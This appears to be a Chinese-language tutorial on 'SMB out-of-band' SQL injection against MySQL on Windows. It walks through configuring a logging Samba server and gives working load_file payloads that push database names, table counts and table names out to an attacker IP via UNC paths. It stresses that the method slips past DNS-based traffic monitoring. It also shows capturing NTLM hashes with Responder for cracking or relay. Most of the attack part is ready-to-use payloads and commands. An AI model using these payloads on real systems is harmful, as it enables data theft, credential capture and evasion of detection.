SMB外带注入

前言

温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是 域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。

1.搭建测试环境

系统:centos7

首先安装smb服务

yum install samba -y

修改配置文件: vim /etc/samba/smb.conf

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445
    log level = 10


[share]
    comment = share
    path = /tmp
    guest ok = yes
    writable =yes
    browsable = yes
    #force user = smbuser

保存配置文件, 重启smb服务

systemctl restart smb.service

在windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_priv ,默认不允许load_file 。 如果安装的数据库版本>=MySQL 5.7.16 在my.ini文件中将secure_file_priv设置为空, 修改完成后, 记得重启mysql服务

show global variables like '%secure%';

smb外带注入与DNS外带注入比较:

smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。

构造sql语句:

select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx"))


为了方便从log里提取查询的内容,可以构造如下语句
select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));

我们在MySQL服务器上执行这样一条SQL语句:

select load_file('\\\\10.99.99.234\\share\\1.txt');
      在samba服务器上查看到了这样一条日志:
      [2021/07/03 03:27:45.437996, 10, pid=9939, effective(0, 0), real(0, 0)] ../../source3/lib/util_event.c:54(smbd_idle_event_handler)

获取当前数据库名

select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));

查看smb日志

       tail -f /var/log/samba/log.smbd | grep "failed to find service"

查询当前数据库里的表

1. 使用limit
2. substring截断

使用limit请先获取总共的表数

select load_file(concat("\\\\10.99.99.234\\test[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt"));

再用limit逐个查询

select load_file(concat("\\\\10.99.99.234\\test[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt"));

验证第test库中的第一个表名是否为aggregate_graph_templates

substring截断 截断到120字符串即可

select load_file(concat("\\\\10.99.99.234\\test[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt"));

另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破 NTLM-relay攻击参考: https://www.cnblogs.com/car7n/p/14887818.html

select load_file('\\\\10.99.99.245\\x');

kali运行responder

responder -I eth0 -f 10.99.99.41
用法: -I表示指定的网卡,-f表示允许攻击者查看受害者的主机指纹。

参考地址: https://422926799.github.io/posts/af61cc76.html http://moonslow.com/article/smb_sql_injection